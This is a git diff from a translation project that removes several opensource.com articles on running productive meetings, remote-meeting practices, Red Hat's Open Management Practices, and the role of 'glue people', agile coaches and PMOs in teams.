a/sources/talk/20200610 8 steps to make your next meeting more productive.md +++ /dev/null @@ -1,87 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (8 steps to make your next meeting more productive) -[#]: via: (https://opensource.com/article/20/6/meeting-productivity) -[#]: author: (Emily Brand https://opensource.com/users/emily-brand) - -8 steps to make your next meeting more productive -====== -Make your meeting a productivity powerhouse—not a time waster—with these -tips. -![interviewing for a job in a conference room][1] - -Many organizations' cultures encourage team meetings, as they can be a valuable time for groups of employees to collaborate and innovate together. However, too often, meetings are unproductive, repetitive, and waste valuable time that employees could use for work. According to a Korn Ferry survey, 67% of employees claim that their job performance is [negatively impacted][2] by spending too much time in meetings. That number is far too high for modern companies interested in growth and productivity. - -Because all types of organizations, including open source communities, depend on effective meetings and communication standards to get things done, many try to instill more effective meeting environments. For example, some carve out time each week when meetings are not allowed, so the company can reach a flow state. While this is helpful during that time, the rest of the week may be wasted by unproductive meetings. - -The following steps can help make meetings more efficient and create a focused, productive workforce. - -### Before the meeting - -#### 1\. Be prepared - -Too many meetings begin with the question, "why are we here?" One way to make a meeting more productive is to ensure every participant understands the meeting's purpose before the meeting. The agenda should include the start and end time, the topics that will be covered, and a short description written by the organizer answering that "why" question. The easiest way to communicate these things is to share the meeting's agenda in the invitation, and certainly enough time before the meeting that participants can familiarize themselves with the documents before starting. This enables everyone to think about the meeting's goal, plan ahead, and arrive prepared to work toward that goal. - -#### 2\. Is this necessary? - -To prevent unnecessary meetings, everyone must understand the intended outcomes in advance. If the organizer is unable to articulate intentional goals and outcomes, then the meeting should be canceled or postponed until that happens. Also, think about whether the meeting's outcomes and decisions could be completed in an asynchronous fashion (with chat or email). - -Thinking critically about the purpose of the meeting and the people who can contribute to that goal helps organizers and participants stay on task during the meeting. As Krystal D'Costa writes in _Scientific American_, "Since spectators aren't grounded in the project or invested in the outcome, they often derail the meeting." If you're an attendee and don't understand the meeting's purpose, don't be afraid to ask the organizer if you need to be there. - -#### 3\. Keep people engaged remotely - -For long-form remote meetings (beyond basic update calls), use videoconferencing to ensure attendance, accountability, and engagement. A full 93% of communication is nonverbal, and video meetings take advantage of that fact for productivity. Also, it is easy to disengage during a phone meeting by staying on mute or participating as little as possible while working on other things. This behavior perpetuates the cycle of unproductive meetings. - -Videoconferencing increases meeting productivity, so using this collaboration method for remote meetings will have a major impact on the success of decisions going forward. Running productive remote meetings is especially important for open source communities with volunteers spread across geography trying to give back to the project. There are several [open source videoconferencing][3] tools.  - -### During the meeting - -#### 1\. Encourage mindfulness - -Most people are running to and from meetings (literally and figuratively), which causes a lack of focus. A proven practice to encourage meeting participants to re-engage and be mindful is to begin every meeting with [at least 90 seconds][4] of technology-free silence. This will allow everybody to switch gears so they can focus on the current meeting. This is a good time to display the meeting agenda and brief on a screen in the meeting room to remind everyone of its goals and purpose. - -#### 2\. Begin with agreement - -Before beginning, verify that everyone understands the meeting's objectives and the reason they are there. You can do this with a verbal yes in a small group or a non-verbal hand raise in a larger group. If there is any disagreement or confusion regarding the purpose of the meeting, one tangent or participant may sidetrack the entire meeting. This can lead to separate conversations later, which further draws everyone away from the larger picture and the original meeting goals. - -#### 3\. Be conscious of time constraints - -Every meeting should have a stated start and end time. Once a meeting reaches (or worse, exceeds) the allotted time, participants will begin to lose focus and start thinking about the next thing on their to-do list. By ending meetings five minutes early, attendees will have time to reflect on their decisions with a sense of calmness, which is key to ending a meeting with purpose. - -#### 4\. Identify action items - -During the meeting, be sure to establish any follow-up that will be needed, including identifying someone to lead each task (or to assign it if no one volunteers). In addition, assign someone in the room to provide status reports on that task going forward to ensure accountability. Reiterate all action items before the end of the meeting to get consensus on each task and so that people claim purposeful responsibility for their assignments. - -### After the meeting - -#### 1\. Verify action items and next steps - -At the end of the meeting, someone should send out the action items and who owns them to all attendees so that everyone knows what their tasks are. Between meetings and official reports, tracking tools like Trello and its [open source alternatives][5] can help everyone track the ongoing status of action items. - -### Some changes are better than none - -Depending on your line of work, who you are meeting with, or the number of people in a meeting, it can be very difficult to implement all these changes. Even so, even implementing a few can dramatically increase productivity. - -It is tempting to banish meetings altogether when the load is overwhelming and the productivity is low, but that is not plausible. Instead, enforcing productivity through these steps is well within your control as a meeting host or attendee. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/6/meeting-productivity - -作者:[Emily Brand][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/emily-brand -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/team-meeting-notebook-conference-brainstorm.png?itok=Rb_rv8-d (interviewing for a job in a conference room) -[2]: https://www.cnbc.com/2019/11/17/67percent-of-workers-say-spending-too-much-time-in-meetings-distracts-them.html -[3]: https://opensource.com/article/20/5/open-source-video-conferencing -[4]: https://www.inc.com/chris-matyszczyk/this-is-astonishing-amount-of-time-it-takes-to-calm-down-when-youre-angry-according-to-a-police-organization.html -[5]: https://opensource.com/alternatives/trello diff --git a/sources/talk/20200612 3 lessons from remote meetings we-re taking back to the office.md b/sources/talk/20200612 3 lessons from remote meetings we-re taking back to the office.md deleted file mode 100644 index a073bda1d1..0000000000 --- a/sources/talk/20200612 3 lessons from remote meetings we-re taking back to the office.md +++ /dev/null @@ -1,92 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (3 lessons from remote meetings we’re taking back to the office) -[#]: via: (https://opensource.com/article/20/6/remote-meetings) -[#]: author: (Abigail Cabunoc Mayes https://opensource.com/users/abbycabs) - -3 lessons from remote meetings we’re taking back to the office -====== -Some of the ways we're accommodating working at home during the pandemic -can make in-real-life meetings better and more inclusive when we get -back to the office. -![Two people chatting via a video conference app][1] - -For those of us fortunate enough to work remotely during this pandemic, we'll likely be camped out in our home offices for a while yet. The transition back to in-person work will [take time and be geographically patchy][2]. - -As I've talked with colleagues who are working remotely, many people say this period is temporary and makeshift: "_Once it's safe to return to the office, we can resume all our old habits and processes_." But in truth, this period of working from home and our eventual return to the office are deeply entwined. The choices and changes we make now will impact the ways we work once we step back into our offices, laboratories, classrooms, and other workspaces. - -Rather than viewing this moment as temporary and makeshift, we should see it as formative. By investing in and improving our online meeting experience _now_, we can build the foundation for a better work environment that persists long after the pandemic. We can use this moment to recalibrate our culture and systems, so they are more robust, resilient, and inclusive. Those of us in scientific fields can use this moment to deliberately shift toward [kinder science][3]. - -Meetings are just one example: Rather than trying to recreate in-person meetings online, let's reimagine what remote meetings can be. With online meetings, you have to be intentional about setting up channels through which participants can contribute and take time to make sure that they know how and feel comfortable doing so. We can take this practice back to the office, providing an opportunity to be more inclusive in-person and break power balances (including leadership hierarchy and majority groups) that can keep folks silent. - -Using this difficult moment to build a better work environment may sound overwhelming. But, there's good news: There's no shortage of resources and experiences to draw from. Working remotely feels new to a lot of us, but folks in the open source software world have been working this way and building community online for a long time: Tim O'Reilly has described this as the [architecture of participation][4]. Mozilla has been empowering cohorts of [Open Leaders][5] around the globe for years. And [rOpenSci][6], [RStudio][7], and the [Carpentries][8] have created and support remote, collaborative communities of scientists and coders. We can learn a lot from these communities that have been building relationships and innovating together from afar. - -Ready to get started? Below, we share three principles for empowering remote interactions that we can also carry forward in real life (IRL). - -### Set an inclusive tone - -Remote meetings can easily feel disconnected or unnatural—especially if you're new to meeting online. Start all meetings with a welcome to earn buy-in and participation. For example, schedule time at the very beginning to welcome everyone, announce the meeting goals, and explain how to participate, like how to unmute microphones, use the chat, or write in a shared document. Starting with a quick roll call and icebreaker question during the meeting makes folks less anonymous and encourages participation. Additionally, outline the shared expectations and culture of the meeting by summarizing the code of conduct or community participation guidelines. - -Create a detailed agenda with specific minutes allotted to different topics, including the welcome. The agenda should be shared ahead of time and contain enough structure to allow for productive conversations, but also enough flexibility to allow for fruitful digressions. Agendas can be designed with [POP][9] to clearly state the _purpose_, _outcomes_, and _process_ of the meeting. - -Providing multiple communication channels during the meeting for folks to "speak up" is important not just for introverts but also for underrepresented minorities, students, and early career people, as well as international or multi-lingual participants. If you're using a shared document, writing feedback instead of verbalizing it can save time and also be used for side and asynchronous conversations. Using multiple channels also provides ways to be in touch and catch up if folks join the call late or drop off due to connectivity issues. - -### Provide robust documentation - -People can walk away (or log off) from meetings with different perceptions and expectations. Robust documentation can dispel this ambiguity and keep everyone on the same page. - -Write meeting notes in a document—preferably in the agenda document mentioned above. Use collaborative document software such as Google Docs or an open source alternative like [Etherpad][10] so that folks can take live notes together. Invite and teach participants how to contribute and have them get into the rhythm early on, for example, with a written roll call that also buffers time as folks arrive at the start. - -Encouraging everyone to participate in the document will result in a record of the meeting that is less brittle than anything produced by a single designated note-taker and will include more voices. Folks can contribute in many ways (including adding links, comments, +1's to affirm others' ideas, and emojis to provide quick emotion and color). Further, people can contribute to shared documents live during a meeting or asynchronously before and afterward. These notes can also be shared in many ways after the meeting (email digest, Slack, Twitter, [Mattermost][11], etc.) with different audiences and become more accessible in "post-production" (e.g., captioning, alt-tags on any images shared, etc.). - -### Choose the right tools - -Choosing the appropriate communication channels for meetings and follow-up is important. It also requires time and empathy to make sure everyone knows how to use the technology. - -For virtual meetings, videoconferencing software like [Jitsi][12] allow participants to engage with "faces on." This is a nice norm to set if participants are comfortable, but it is also important to state that it is fine to participate without enabling video for any reason, including bandwidth or privacy issues. - -Providing the opportunity for participants to have smaller conversations through [Big Blue Button][13]'s breakout rooms can be very fruitful for moving ideas forward and strengthening relationships and trust. Having prompts or tasks to center the conversations helps make the best use of time, and scheduling time for summaries once the whole group has reconvened allows more ideas and insights to be shared. - -Using collaborative software for creating presentations can strengthen engagement while reducing bandwidth issues. Asking participants to open the presentation on their computers and advance the slides themselves eliminates the need for screen-sharing—and the bandwidth issues, multiple windows kerfuffling, and passiveness that can arise as a result. - -Being deliberate about the communication platforms outside of meetings is also important. For example, [GitHub Issues][14] might be better for archiving decision-making conversations. And a messaging platform like [Mattermost][15] might be better for quick contact, co-working, and community-building. Whichever platforms you use, take some time to make sure that they meet your team's needs and provide enough control to make them as safe as possible for your participants. - -### Make meetings work online, offline, or both - -When we're in person again, these principles and tips don't become obsolete. They're relevant and critical to a productive, inclusive workplace, whether we're online, offline, or a hybrid of the two. We have led our [Mozilla Open Leaders][16] and [Openscapes Champions][17] programs this way, and we've learned that these approaches can transcend discipline and organization size. - -And while each principle takes time and practice, they're all attainable. We have a big chance here to redesign the way we interact and collaborate, so let's start with intention and kindness. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/6/remote-meetings - -作者:[Abigail Cabunoc Mayes][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/abbycabs -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/chat_video_conference_talk_team.png?itok=t2_7fEH0 (Two people chatting via a video conference app) -[2]: https://www.theatlantic.com/health/archive/2020/03/how-will-coronavirus-end/608719/ -[3]: https://blogs.scientificamerican.com/observations/open-software-means-kinder-science/ -[4]: http://radar.oreilly.com/2015/03/socialcivics-and-the-architecture-of-participation.html -[5]: https://foundation.mozilla.org/en/opportunity/mozilla-open-leaders/ -[6]: https://ropensci.org/ -[7]: https://community.rstudio.com/ -[8]: http://carpentries.org/ -[9]: https://suzannehawkes.com/2010/04/09/pop-everything/ -[10]: https://opensource.com/business/15/7/five-open-source-alternatives-google-docs -[11]: https://opensource.com/alternatives/slack -[12]: https://opensource.com/alternatives/skype -[13]: https://opensource.com/article/20/5/open-source-video-conferencing#bigbluebutton -[14]: https://openscapes.github.io/series/github-issues.html -[15]: https://mattermost.com/ -[16]: https://foundation.mozilla.org/en/blog/online-meeting-tips/ -[17]: https://www.openscapes.org/blog/2020/03/11/how-to-run-a-remote-workshop/ diff --git a/sources/talk/20200613 Introducing the Open Management Practices.md b/sources/talk/20200613 Introducing the Open Management Practices.md deleted file mode 100644 index df53d52ab4..0000000000 --- a/sources/talk/20200613 Introducing the Open Management Practices.md +++ /dev/null @@ -1,97 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Introducing the Open Management Practices) -[#]: via: (https://opensource.com/open-organization/20/6/open-management-practices) -[#]: author: (Heidi Hess von Ludewig https://opensource.com/users/heidi-hess-von-ludewig) - -Introducing the Open Management Practices -====== -What does great management look like in an open organization? DeLisa -Alexander of Red Hat explains a new, open resource that paints one -vision. -![Media ladder][1] - -For the second article in this series on [Managing with Open Values][2], I spoke with DeLisa Alexander, Executive Vice President and Chief People Officer at Red Hat, specifically about how managing with open values works in that organization. DeLisa's team recently created and open sourced a new resource—[the Open Management Practices][3]—to help Red Hat managers understand their roles in an open organization and to empower Red Hat associates to help those managers practice openness. - -I spoke with DeLisa, a 19-year veteran of Red Hat, about what led to the creation of the practices, how she and her team developed them, and how the organization plans to integrate them into its manager competencies. DeLisa came to Red Hat with a legal background and began her career at the company as inside counsel. The legal field is very hierarchical and not too open in its values (due in part to the confidentiality required of counsel). In our interview, DeLisa explains how, over the course of her career, she's been able to grow and guide the development of Red Hat's "bottom-up" organization. - -I've transcribed parts of our interview below and edited them for readability. - -* * * - -**Heidi:** This interview series is about "managing with open values," and one of the first questions we've been asking interviewees is: What does that mean to you, to "manage according to open values"? As the executive overseeing the People team at Red Hat, why is this issue important to you? - -**DeLisa:** Red Hat started as a movement, in part because of the internet and the connected, democratic nature the technology brought with it. Red Hat hired top contributors of open source communities, which meant that these associates, now hired into decision making roles, were "infused with open"—they lead like community members, not conventional executives. The expectation was that the culture supported collaboration, participation, and community—the values of the open source community. They brought the culture with them, in other words. Upholding and catalyzing this culture via the body of community members into a profitable company is very important, and very different from proprietary software companies. - -**Heidi:** That's so interesting, because as a relatively new Red Hatter I didn't really see that connection as clearly as you explain it. Now I can better understand the passion that a movement started while intersecting with a corporate culture. - -**DeLisa:** Yes. Having come from the law I felt the same way, and it took me a while to realize how it worked and what the expectations were. - -As I navigated my way in the open source community culture, we started to see that those who were not coming from Red Hat communities didn't know how to navigate this new culture. So, we created the [Open Decision Framework][4] (ODF) to help them grow and align to Red Hat values. - -Associates and leaders with decision making responsibilities needed to understand and practice open source practices because our culture is so important. In addition, when you use the ODF, you get better and more creative decisions—that might take longer to get, but then you don't have the change management, like at other companies, after the fact. The transparency offered by the framework aligned with the cultural expectations of the community. When people don't get what they expect, that's when things blow up. So the ODF helps associates and leaders navigate working and decision making in the Red Hat community in ways they expect. - -**Heidi:** So Red Hat is essentially an open source community culture _at scale_. - -**DeLisa:** Yes. Over time, we have had to develop and grow in ways that are consistent with our values. We've created tools and had projects that used open tools to do that. For example, [when we created our "Why,"][5] our shared purpose, the proposed plan was going to take a year before it opened to the associates. The focus of the proposal was on the leaders coming up with it in a closed room—which wouldn't work at Red Hat. But we decide to involve the associates and do the change management synchronously with the activity. The power of participation will create something amazing (when it's important to do) for Red Hat, but you have to take it on faith, and you don't know when it's going to be done. The iterative process means that project plans are less defined and you have to trust: when it's baked, it's baked. You have to lean into the instinct that you will know when it's baked. - -**Heidi:** From my own experience, I can see and feel that, from the associate perspective, there are large gains by being able to participate. But what are the benefits to the managers themselves when they manage with open values? - -**DeLisa:** One of the most important values of open source community members is that they want to contribute right away; there is a meritocracy where title doesn't matter. That's important and that's also what Millennials expect for themselves. Millennials are working this way now. That means that managers at Red Hat had to learn how to manage Millennial-like people 20 years before Millennials came into the workforce! There is a significant advantage in that, because it helps to create a highly engaged workforce where people have a part in making a great team and a great organization. Managers also develop associate capabilities: their skill, their understanding of context, and purpose. Managers are helping "develop these muscles' [in their associates] while creating a learning zone at the same time. - -Listen to DeLisa describe the importance and benefits of managing with open values - -**Heidi:** In this way, managers are creating their own succession plans, because there isn't an us/them context that some conventional organizations have about leadership. In my experience working at conventional organizations, there is a distinct disjointedness between leaders and associates—either you are In the club, or you are not. Where there are open values, leaders and associates are one and the same, or at least the boundary is less distinct. - -**DeLisa:** When I took this job, everyone was a leader. You might be a manager, a _role_ that manages people, but everyone was expected to be a leader. We have tried to carefully define "leader" so that we don't lose the concept and impact the meritocracy. - -**Heidi:** We've talked a little bit about the growth of Red Hat, and I wonder how you and your team have scaled the role of manager, and managing with open values, across the large and growing organization. What does it look like and what strategies are you working on? - -**DeLisa:** As you know, things always look and work a little differently at Red Hat. [Our competency model][6], for instance, helps people know what good looks like in their roles, and then we created the Open Decision Framework to help leaders make decisions in an open way. But we found that managers didn't understand what was expected of them in an open organization. Some brought with them ways of working from their former companies. And yet, as a people manager, they are a key leverage point for Red Hat, essentially responsible for supporting talent. The experience of the associate is greatly influenced by their manager and when you don't have managers who don't manage with open values, then the associates are not getting the full experience of working at an open organization. - -We started at the beginning, asking ourselves ["If everyone is a leader, do we even need people managers?"][7] And we decided we needed the manager role. There are too many operationalization points regarding hiring, development, performance, etc. Our next step was the practices (do's and don'ts) and mindsets for managers. The Do's and Don'ts were communicated to Red Hat as a whole to get feedback, including all the geos, using a global face-to-face tour. These became the six Open Management Practices. - -**Heidi:** Of the six Open Management Practices, which do you feel is most important? - -**DeLIsa:** Probably the one that is most important to us today is "Creating an environment of respect, belonging, and mutual support." It is foundational for meritocracy and the idea that people can contribute even if their style of thinking, language, or remote work are differences. People need to feel like they belong because every associate has to feel comfortable contributing at our very, very best. This is on my mind all the time because there is a lot of research about it, one book for instance is _The Fearless Organization_ by [Amy C. Edmonson][8]. Meritocracy is not just "being nice." It is linked to the learning organization—fail fast and often— and this is how the world's problems are getting solved these days. - -**Heidi:** So we've talked about how the Open Management Practices benefit both associates and managers, and I'm curious about the topic of accountability. How is Red Hat helping to make managers and associates accountable for using these practices? - -**DeLisa:** That's a great question and a hotly debated topic within my team. Part of the genesis for the Open Management Practices was to create accountability between associates and managers. We asked ourselves "how can we help people to want to be accountable?" We can't legislate this. These practices can't be done "because the People team told me to." We need to inspire ownership, so we made the idea of ownership part of the workshop conversation. The tool helps build a competence—"what good looks like"—by defining the practice. So, the People team asked managers, "Once you are enabled, would you be committed to these practices?" and 97% said "yes"! Therefore, we focused on enabling them knowing that the ownership and accountability would follow. - -Listen to DeLisa describe how managers and associates co-created the Open Management Practices - -In addition, the No. 1 request in the workshop was for a 360-degree feedback mechanism. We are excited to partner with TILT365 [Red Hat's vendor for personality style testing] to create a multi-factor survey that helped identify a questionnaire for management feedback. This makes the whole model and process very transparent. Associates know what the do's and don'ts for management practices are, and managers have feedback; leaders can support development plans for their managers. All this creates a full, virtuous cycle because the Open Management Practices created a path for managers to commit to their own development. - -Listen to DeLisa describe how managing openly can increase commitment and accountability - -**Heidi:** That's really interesting! I can see how the definition of the practices helped people understand what they were committing to, and the workshops and using the Open Decision Framework to get feedback from Red Hatters at all levels, helped to create the commitment needed in a natural way, as an obvious extension of the activity. - -DeLisa, thank you for your time! I appreciate your taking the time to speak with me today. - -**DeLisa:** I appreciate it, your time, and your interest in this! Thank you for having me. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/20/6/open-management-practices - -作者:[Heidi Hess von Ludewig][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/heidi-hess-von-ludewig -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_meritladder.png?itok=eWIDxnh2 (Media ladder) -[2]: https://opensource.com/open-organization/20/5/commitment-engagement-org-psychology -[3]: https://github.com/red-hat-people-team/open-management-practices -[4]: https://opensource.com/open-organization/resources/open-decision-framework -[5]: https://opensource.com/open-organization/17/9/rediscovering-your-why -[6]: https://github.com/red-hat-people-team/red-hat-multiplier -[7]: https://opensource.com/open-organization/18/10/understanding-engagement-empowerment -[8]: https://www.hbs.edu/faculty/Pages/profile.aspx?facId=6451 diff --git a/sources/talk/20200614 Who is the glue person on your team.md b/sources/talk/20200614 Who is the glue person on your team.md deleted file mode 100644 index 9c855b01e6..0000000000 --- a/sources/talk/20200614 Who is the glue person on your team.md +++ /dev/null @@ -1,113 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Who is the glue person on your team?) -[#]: via: (https://opensource.com/open-organization/20/6/glue-person) -[#]: author: (Lauri Apple https://opensource.com/users/lapple) - -Who is the glue person on your team? -====== -How to identify and utilize the role of a clear-headed, storyteller on -your team. -![Business woman on laptop sitting in front of window][1] - -Here's a test: how long do you think it would take for your organization to kickstart a brand new effort? A few days? A week? - -How ready would your teams be—do they already know how to roadmap, align, prioritize, and coordinate with each other? - -Are your teams successfully ending any wasteful activities? These might include running unused AWS stacks, building the same thing twice, or consistently preferring tactical, localized optimizations over strategically collaborating with other teams. - -If your organization has such activities in motion, you're probably on the right track. If not, that's a warning signal that your team is lacking some core capabilities you'll need for successfully launching any new endeavor, pandemic or not. - -Does your organization allow your [glue people][2] to develop those core capabilities, or are you pressuring them to stay in their boxes? - -### Zombie scrum, velocity counters, clipboard dogmatists, and other occupational hazards - -Not long ago, on a lark, I interviewed for some freelance project management work with a US-based company. The experience was bizarre. The recruiter, who expressed all the enthusiasm of a bowl of cold pea soup, asked me to do tasks that require much more time and context than what was allotted, even to achieve the goals at a mediocre level. I was penalized for stating that I have never seen scrum by the book—aka [zombie scrum][3]—succeed in any organization. And I was somewhat scolded for asking analytical questions that, in my experience, are critical to driving focus and clarity. - -I didn't get passed to the next stage of the process, in part because the recruiter said my zombie scrum comment was a red flag. I took that as a compliment. But I also felt sorry for any project manager—or scrum master, agile coach, or any other creative person—who's made to apply cookie-cutter solutions to situations that require listening, empathy, and creativity. "Follow the book" is a simplistic, anti-intellectual way to crush innovation and generates stereotypes about professionals whose valuable work aims to glue teams, departments, and narratives together. - -Countless books, articles, and tweets from frustrated agile practitioners have been written about the tendency of many companies to pick an agile framework and force it to stick. A well-meaning company picks scrum, then instantly gets dogmatic about it and hires a bunch of scrum masters to hold the required ceremonies. In this environment, it's easy for the scrum masters to tie their competence to existing certifications instead of growing and expanding their skills into areas like psychology or conflict resolution. The company then puts a bunch of additional requirements on top of their framework of choice—checklists, team working agreements that look a certain way, mandatory JIRA fields separating "internal work" from "external work" (whatever that means). - -Maybe this stuff works somewhere? I have never seen it. - -There's never a good time to pressure your people to dumb down process and now is especially not a good time. Your organization needs even more of what makes a highly effective glue-person: - - * Pragmatism - * Objectivity and a habit of identifying assumptions - * Communication skills, which most tech companies struggle with even in calm times - * Good listening skills - * Pattern detection - * Research skills - * Neutrality and diplomacy - * Strategic mindset over tactical, quick-fix, trees-for-the-forest thinking - - - -If you're not supporting your team in valuing and encouraging these attributes in your people—regardless of whether their job title includes "agile" or not—please start now. - -Of course, some people who take on "agile practitioner" roles actually prefer to be dogmatists, by-the-book folks, and bug counters. In that case, you have two options: either see if they're willing to explore different approaches to their work, or, if they're not, explore other people. - -### Know your PMO - -If you hear teams grumble that your project management office (PMO) is a bunch of non-technical clipboard people who block progress, challenge those biases. Maybe your PMO really is ineffective; some are. But maybe there's a different issue at work—either micromanaging on their part or lack of accountability on the rest of the organization's part. - -A friend described to me a situation in which the two engineering executives in their company constantly complained about the PMO, for reasons that were never clear. What was clear was that the engineering executives did not value transparency or accountability. Meanwhile, my friend stated that many people in the company swore that without the PMO, nothing would have gotten done within any reasonable amount of time. After a leadership change, the engineering executives were replaced; the PMO remained. - -If the issue is with the PMO, consider coaching the team to be more effective. This can be done through a retrospective or, if you have time, one-on-ones. I have been lucky enough to work in three organizations with high-performing PMO organizations. They framed conversations with teams to similarly focus on goals and broader developments taking place around them. They were empathetic—trying to understand why programs lagged behind, instead of blaming or nagging. They were focused on producing value—aligning teams, making work transparent, keeping meetings well-organized and constructive, and asking pragmatic questions that averted disasters or surfaced gaps in strategy. - -Instead of checking in to see if people were doing their work, they helped teams find out ways to help each other. In many cases, they helped drive knowledge exchange to cross-pollinate new ideas and solutions either by running effective meetings or hosting dedicated conversations. - -If the issue is with your organization, work with the PMO to see how your leadership team can become better advocates for PMO work. Sometimes the issue for PMOs is a lack of public relations and reputation management. Sadly, PMOs can become the canvases upon which disgruntled parties project everything they're mad about, and this really isn't helpful to anyone. Neither are out-of-the-box expectations that PMOs can solve product strategy problems when product managers abdicate responsibility, or solve your technical architecture, or resolve every conflict between two engineers. Your organization might simply be misapplying your PMO power in ways that reinforce existing biases or misunderstandings of their work. Find ways to stop that. - -As a PMO of one person, I work closely with stakeholders across my organization to break down complexity, clarify outcomes, and track work-in-progress through lightweight visualizations. It's all storytelling. I work closely with our agile coaching team, laying the groundwork with delivery teams to form a coherent vision for what to build, then collaborating with the coaches to work with specific teams to boost performance and ensure better flow on that vision. It's not wizardry, and I've recycled it from what other successful PMOs have shown and taught me over the years. It seems to work. - -### Give your agile coaches and scrum masters meaningful metrics - -"I thought agile coaches just measured velocity and story points, and scrum masters do the same but also keep JIRA updated," more than one person on earth has said. How did they reach this conclusion? Possibly by working in an organization that asked coaches and scrum masters to focus on output instead of value. Maybe those organizations didn't expect or even care if the coaches demonstrated their effectiveness; the coaches and scrum masters were there to serve a purpose, like security blankets of agility. - -Story points and velocity are worthless metrics if the work delivered isn't valuable. So is counting the number of retrospectives, or counting the decline in the number of bugs per team (easily gamed), or the amount of time spent pair programming. These metrics do not necessarily tell a coherent story about your organization, and they do not help the coaches and scrum masters grow. - -I like [this list of agile coach metrics by Andy Sio][4]: measure impact by looking for evidence of efficiency, or reducing meetings, or collecting data points around teams using coaches' suggestions to make improvements. For the scrum masters, Ryan Ripley invites leaders to [rethink the role][5] as one of service, challenging the status quo. Find someone else to update the JIRAs and take the notes. - -Maybe you're cool with empowering coaches and scrum masters, but now you're asking, "we have product managers and business analysts—why do we need coaches to do this?" Because dysfunction in delivery is usually systemic. It's about a confluence of discussions, decisions, communications, and other bits and pieces of work going awry, slowly at first, until it all adds up to become A Bigger Problem. - -A coach can help your product managers, analysts, and devs surface those Bigger Problems, understand the root causes, and find more effective alternatives to right the ship. If urgent enough, this can mean the difference between success and failure. For example: - - * How effective can a scrum master assigned to two or three teams possibly be if those teams are facing a constant barrage of "this is urgent!" work chucked in from the leadership team? - * How can a team align with other teams, if those teams aren't sharing roadmaps? - * How can engineering and product remain aligned if there are two competing roadmaps? - * If you're facing Coronavirus, will your product managers, devs, and analysts have time to unpack all of this systemic dysfunction, or could they use a little help? - - - -Identify the "glue people" in your organization and find ways to leverage them through focused programs dedicated to one or two outcomes at most. Consider forming a "community of practice," an informal setting (Lean Coffee or other formats) for them to share best practices or highlight and resolve process-related needs in the organization. - -If your glue people are already overwhelmed, consider hiring more of them. This might sound counterintuitive if you're laying people off, but what costs more—hiring one program manager to do the job well, or having ten developers and product managers do the job with less focus, while not doing their usual jobs? - -Hopefully, you're able to identify the people in your organization who can connect the dots, tell your story, and bring everyone together. Maybe you've even hired people specifically to mind your processes and haven't laid them off yet. Please don't! They might save you and everyone else in your company. But only if you empower them. - -If you're starting something from scratch, support your glue people in keeping everyone else from losing the plot. Then you build a culture of maintaining the plot. It's easier to iterate and improve upon such a culture when it's the foundation of your new initiative or product than to force it after developing lots of antipatterns and worst-practice habits. Sure, incremental change can bring teams and organizations back on track—but why tolerate being off-track in the first place? "Going faster at the beginning" isn't a good reason; you can go super-fast and be experimental and still hold your team together. - -Process can be simple and lightweight—in fact, it should be. But it can't be solved simply by putting some meetings in a calendar and writing everything down in Confluence. It has to be customized and curated, created to achieve and sustain flow, and designed to be adapted depending on what's necessary. Otherwise, it will be an obstacle and a waste of time instead of an aid, and people will hate it. And it probably won't come from following scrum by the book, or anything by the book. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/20/6/glue-person - -作者:[Lauri Apple][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/lapple -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/lenovo-thinkpad-laptop-concentration-focus-windows-office.png?itok=-8E2ihcF (Woman using laptop concentrating) -[2]: https://opensource.com/open-organization/20/6/glue-team -[3]: https://www.scrum.org/resources/blog/zombie-scrum-symptoms-causes-and-treatment?gclid=EAIaIQobChMI97Cr6v-96QIVFO3tCh25RgrWEAAYASAAEgIgYfD_BwE -[4]: https://www.strategicquadrant.com/blog/how-to-measure-your-successas-an-agile-coach/ -[5]: https://enterprisersproject.com/article/2020/4/scrum-master-role-how-rethink diff --git a/sources/talk/20200616 Changing the world with open source- GNOME president shares her story.md b/sources/talk/20200616 Changing the world with open source- GNOME president shares her story.md deleted file mode 100644 index 98ddcd364c..0000000000 --- a/sources/talk/20200616 Changing the world with open source- GNOME president shares her story.md +++ /dev/null @@ -1,164 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Changing the world with open source: GNOME president shares her story) 